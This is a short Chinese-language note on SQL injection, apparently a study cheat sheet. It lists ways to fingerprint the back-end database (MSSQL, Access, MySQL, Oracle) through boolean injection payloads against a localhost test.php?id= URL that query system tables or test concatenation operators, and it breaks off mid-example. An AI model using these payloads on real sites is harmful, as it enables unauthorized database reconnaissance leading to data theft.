方法一:
用@@datadir查看数据库安装目录,能否判断出
方法二:
通过各个数据库特有的数据表来判断
1、mssql数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
2、access数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
3、mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
4、oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
方法三:
通过各数据库特有的连接符判断数据库类型
1、mssql数据库
http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
2、mysql数据库
http://127.0.0.1/test.php?id=1 and